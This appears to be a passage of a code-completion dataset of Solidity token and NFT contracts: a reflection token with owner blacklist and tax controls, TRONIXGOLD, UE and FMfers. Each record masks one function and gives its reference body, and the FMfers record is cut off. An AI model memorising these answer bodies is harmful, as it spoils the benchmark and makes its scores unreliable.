slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); enableTrading(); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function changeRouterContingency(address router) external onlyOwner { require(!_hasLiqBeenAdded); currentRouter = router; } function getCirculatingSupply() public view returns (uint256) { return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0)))); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludedFromReward(address account, bool enabled) public onlyOwner { if (enabled) { require(!_isExcluded[account], "Account is already excluded."); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; if(account != lpPair){ _excluded.push(account); } } else if (!enabled) { require(_isExcluded[account], "Account is already included."); if (account == lpPair) { _rOwned[account] = _tOwned[account] * _getRate(); _tOwned[account] = 0; _isExcluded[account] = false; } else if(_excluded.length == 1) { _rOwned[account] = _tOwned[account] * _getRate(); _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); } else { for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _rOwned[account] = _tOwned[account] * _getRate(); _isExcluded[account] = false; _excluded.pop(); break; } } } } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function setInitializer(address initializer) external onlyOwner { require(!_hasLiqBeenAdded, "Liquidity is already in."); require(initializer != address(this), "Can't be self."); antiSnipe = AntiSnipe(initializer); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function removeBlacklisted(address account) external onlyOwner { antiSnipe.removeBlacklisted(account); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function getSniperAmt() public view returns (uint256) { return antiSnipe.getSniperAmt(); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } <FILL_FUNCTION> function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 75, "Too low."); antiSnipe.setGasPriceLimit(gas); } function setTaxesBuy(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _buyTaxes.liquidity = liquidity; _buyTaxes.reflect = reflect; _buyTaxes.marketing = marketing; _buyTaxes.totalSwap = check - reflect; } function setTaxesSell(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _sellTaxes.liquidity = liquidity; _sellTaxes.reflect = reflect; _sellTaxes.marketing = marketing; _sellTaxes.totalSwap = check - reflect; } function setTaxesTransfer(uint16 reflect, uint16 liquidity, uint16 marketing) external onlyOwner { require(reflect <= staticVals.maxReflect && liquidity <= staticVals.maxLiquidity && marketing <= staticVals.maxMarketing); uint16 check = reflect + liquidity + marketing; require(check <= 2500); _transferTaxes.liquidity = liquidity; _transferTaxes.reflect = reflect; _transferTaxes.marketing = marketing; _transferTaxes.totalSwap = check - reflect; } function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner { _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.total = liquidity + marketing; } function setMaxTxPercent(uint256 percent) external onlyOwner { require(percent >= 10, "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = percent; } function setMaxWalletSize(uint256 percent) external onlyOwner { require(percent >= 45, "Max Transaction amt must be above 0.45% of total supply."); _maxWalletSize = percent; } function getMaxTX() public view returns (uint256) { return ((getCirculatingSupply() * _maxTxAmount) / 10000) / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return ((getCirculatingSupply() * _maxWalletSize) / 10000) / (10**_decimals); } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketing) external onlyOwner { _taxWallets.marketing = payable(marketing); } function setLiquidityWallet(address wallet) external onlyOwner { require (wallet != DEAD); _taxWallets.liquidity = wallet; } function setContractSwapEnabled(bool _enabled) public onlyOwner { contractSwapEnabled = _enabled; emit ContractSwapEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && tx.origin != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if(lpPairs[from] || lpPairs[to]){ if (_maxTxAmount < 10000) { require(amount <= (_maxTxAmount * getCirculatingSupply()) / 10000, "Transfer amount exceeds the maxTxAmount."); } } if(to != currentRouter && !lpPairs[to] && _maxWalletSize < 10000) { require(balanceOf(to) + amount <= (_maxWalletSize * getCirculatingSupply()) / 10000, "Transfer amount exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwap && contractSwapEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } contractSwap(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function contractSwap(uint256 contractTokenBalance) private lockTheSwap { if (_ratios.total == 0) return; if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * _ratios.liquidity) / _ratios.total) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( toSwapForEth, 0, path, address(this), block.timestamp ); uint256 liquidityBalance = ((address(this).balance * _ratios.liquidity) / _ratios.total) / 2; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, _taxWallets.liquidity, block.timestamp ); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (address(this).balance > 0 && _ratios.total - _ratios.liquidity > 0) { _taxWallets.marketing.transfer(address(this).balance); } } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} tradingEnabled = true; } function sweepContingency() external onlyOwner { require(!_hasLiqBeenAdded, "Cannot call after liquidity."); payable(owner()).transfer(address(this).balance); } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _transfer(msg.sender, accounts[i], amounts[i]*10**_decimals); } } function multiSendPercents(address[] memory accounts, uint256[] memory percents, uint256[] memory divisors) external { require(accounts.length == percents.length && percents.length == divisors.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= (_tTotal * percents[i]) / divisors[i]); _transfer(msg.sender, accounts[i], (_tTotal * percents[i]) / divisors[i]); } } struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tSwap; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } function _finalizeTransfer(address from, address to, uint256 tAmount, bool takeFee) private returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } ExtraValues memory values = _getValues(from, to, tAmount, takeFee); _rOwned[from] = _rOwned[from] - values.rAmount; _rOwned[to] = _rOwned[to] + values.rTransferAmount; if (_isExcluded[from]) { _tOwned[from] = _tOwned[from] - tAmount; } if (_isExcluded[to]) { _tOwned[to] = _tOwned[to] + values.tTransferAmount; } if (values.tSwap > 0) { _rOwned[address(this)] = _rOwned[address(this)] + (values.tSwap * _getRate()); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + values.tSwap; emit Transfer(from, address(this), values.tSwap); // Transparency is the key to success. } if (values.rFee > 0 || values.tFee > 0) { _rTotal -= values.rFee; } emit Transfer(from, to, values.tTransferAmount); return true; } function _getValues(address from, address to, uint256 tAmount, bool takeFee) private returns (ExtraValues memory) { ExtraValues memory values; uint256 currentRate = _getRate(); values.rAmount = tAmount * currentRate; if (_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, tAmount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } if(takeFee) { if (lpPairs[to]) { currentTaxes.reflect = _sellTaxes.reflect; currentTaxes.totalSwap = _sellTaxes.totalSwap; } else if (lpPairs[from]) { currentTaxes.reflect = _buyTaxes.reflect; currentTaxes.totalSwap = _buyTaxes.totalSwap; } else { currentTaxes.reflect = _transferTaxes.reflect; currentTaxes.totalSwap = _transferTaxes.totalSwap; } values.tFee = (tAmount * currentTaxes.reflect) / staticVals.masterTaxDivisor; values.tSwap = (tAmount * currentTaxes.totalSwap) / staticVals.masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tSwap); values.rFee = values.tFee * currentRate; } else { values.tFee = 0; values.tSwap = 0; values.tTransferAmount = tAmount; values.rFee = 0; } values.rTransferAmount = values.rAmount - (values.rFee + (values.tSwap * currentRate)); return values; } function _getRate() internal view returns(uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint8 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return _rTotal / _tTotal; rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return _rTotal / _tTotal; return rSupply / tSupply; } }
antiSnipe.setProtections(_antiSnipe, _antiGas, _antiBlock, _algo);
function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _algo) external onlyOwner
function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _algo) external onlyOwner
1095
TRONIXGOLD
approve
contract TRONIXGOLD is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function TRONIXGOLD() public { symbol = "TRXG"; name = "TRONIX GOLD"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0x95a96a9fab04Fdf71f37807246408973b30d29e1] = _totalSupply; Transfer(address(0), 0x95a96a9fab04Fdf71f37807246408973b30d29e1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract TRONIXGOLD is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function TRONIXGOLD() public { symbol = "TRXG"; name = "TRONIX GOLD"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0x95a96a9fab04Fdf71f37807246408973b30d29e1] = _totalSupply; Transfer(address(0), 0x95a96a9fab04Fdf71f37807246408973b30d29e1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success)
17754
UE
approveAndCall
contract UE is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "UselessEvolution"; string public constant symbol = "UE"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 2000 * (10 ** 18); constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } function allowance(address player, address spender) public view returns (uint256) { return allowed[player][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
contract UE is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "UselessEvolution"; string public constant symbol = "UE"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 2000 * (10 ** 18); constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } function allowance(address player, address spender) public view returns (uint256) { return allowed[player][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } <FILL_FUNCTION> function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool)
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool)
28639
FMfers
totalsupply
contract FMfers is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY = 10000; uint public maxPerTxn = 10; // 10 uint public maxPerWallet = 10; // 10 - initial 1k , none - public uint256 public price = 0 ether; uint public status = 0; //0 - pause , 1- public bool public revealed = false; string public unrevealedUri = "https://gateway.pinata.cloud/ipfs/QmaL3MmRdotFRRxoixuPx7hq8E39iD6Ppt5WFWDGbw9JFF"; constructor() ERC721("Fuzzy Mfers", "FMfers") { setBaseURI(""); } function setBaseURI(string memory baseURI) public onlyOwner { _baseURI = baseURI; } function setunrevealedUri(string memory baseURI) public onlyOwner { unrevealedUri = baseURI; } function setPrice(uint256 _newPrice) public onlyOwner() { price = _newPrice; } function setRevealed(string memory baseURI) public onlyOwner() { revealed = !revealed; setBaseURI(baseURI); } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { maxPerTxn=_quantity; } function setMaxxQtPerWallet(uint256 _quantity) public onlyOwner { maxPerWallet=_quantity; } function giveaway(address a, uint q) public onlyOwner{ for(uint i=0; i<q; i++) _safeMint(a, totalsupply()+1); } modifier isSaleOpen{ require(totalSupply() < _TOTALSUPPLY, "Sale end"); _; } function setStatus(uint s) public onlyOwner { status = s; } function getStatus() public view returns (uint256) { return status; } function getPrice() public view returns (uint256) { return price ; } function mint(uint chosenAmount) public payable isSaleOpen{ require( (status == 1) , "Sale is not active at the moment" ); require( totalSupply() + chosenAmount <= _TOTALSUPPLY , "Quantity must be lesser then MaxSupply" ); require( chosenAmount > 0 , "Number of tokens can not be less than or equal to 0" ); require( chosenAmount <= maxPerTxn , "Chosen Amount exceeds MaxQuantity" ); require( totalSupply() > 1000 || ( chosenAmount + balanceOf( msg.sender ) <= maxPerWallet ) , "Chosen Amount exceeds MaxQuantity" ); require( price.mul(chosenAmount) == msg.value, "Sent ether value is incorrect" ); for (uint i = 0; i < chosenAmount; i++) { _safeMint(msg.sender, totalsupply()+1); } if(totalSupply() >= 1000) setPrice(0.03 ether); } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 count = balanceOf(_owner); uint256[] memory result = new uint256[](count); for (uint256 index = 0; index < count; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } function withdraw() public onlyOwner { uint balance = address(this).balance; //5% 0x86fc9DbcE9e909c7AB4D5D94F07e70742E2d144A //95% to owner uint256 split = balance / 100; split = split * 5; payable(0x86fc9DbcE9e909c7AB4D5D94F07e70742E2d144A).transfer(split); balance = balance - split; payable(msg.sender).transfer(balance); } function totalsupply() private view returns (uint) {<FILL_FUNCTION_BODY> } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = baseURI(); if(revealed) return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString(), ".json")) : ""; else return unrevealedUri; } function contractURI() public view returns (string memory) { return "https://gateway.pinata.cloud/ipfs/QmUeUgkeFkyLFoEcXgWR8taQ6obkjCnFAqgqrWa77tWCtL"; } }
contract FMfers is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY = 10000; uint public maxPerTxn = 10; // 10 uint public maxPerWallet = 10; // 10 - initial 1k , none - public uint256 public price = 0 ether; uint public status = 0; //0 - pause , 1- public bool public revealed = false; string public unrevealedUri = "https://gateway.pinata.cloud/ipfs/QmaL3MmRdotFRRxoixuPx7hq8E39iD6Ppt5WFWDGbw9JFF"; constructor() ERC721("Fuzzy Mfers", "FMfers") { setBaseURI(""); } function setBaseURI(string memory baseURI) public onlyOwner { _baseURI = baseURI; } function setunrevealedUri(string memory baseURI) public onlyOwner { unrevealedUri = baseURI; } function setPrice(uint256 _newPrice) public onlyOwner() { price = _newPrice; } function setRevealed(string memory baseURI) public onlyOwner() { revealed = !revealed; setBaseURI(baseURI); } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { maxPerTxn=_quantity; } function setMaxxQtPerWallet(uint256 _quantity) public onlyOwner { maxPerWallet=_quantity; } function giveaway(address a, uint q) public onlyOwner{ for(uint i=0; i<q; i++) _safeMint(a, totalsupply()+1); } modifier isSaleOpen{ require(totalSupply() < _TOTALSUPPLY, "Sale end"); _; } function setStatus(uint s) public onlyOwner { status = s; } function getStatus() public view returns (uint256) { return status; } function getPrice() public view returns (uint256) { return price ; } function mint(uint chosenAmount) public payable isSaleOpen{ require( (status == 1) , "Sale is not active at the moment" ); require( totalSupply() + chosenAmount <= _TOTALSUPPLY , "Quantity must be lesser then MaxSupply" ); require( chosenAmount > 0 , "Number of tokens can not be less than or equal to 0" ); require( chosenAmount <= maxPerTxn , "Chosen Amount exceeds MaxQuantity" ); require( totalSupply() > 1000 || ( chosenAmount + balanceOf( msg.sender ) <= maxPerWallet ) , "Chosen Amount exceeds MaxQuantity" ); require( price.mul(chosenAmount) == msg.value, "Sent ether value is incorrect" ); for (uint i = 0; i < chosenAmount; i++) { _safeMint(msg.sender, totalsupply()+1); } if(totalSupply() >= 1000) setPrice(0.03 ether); } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 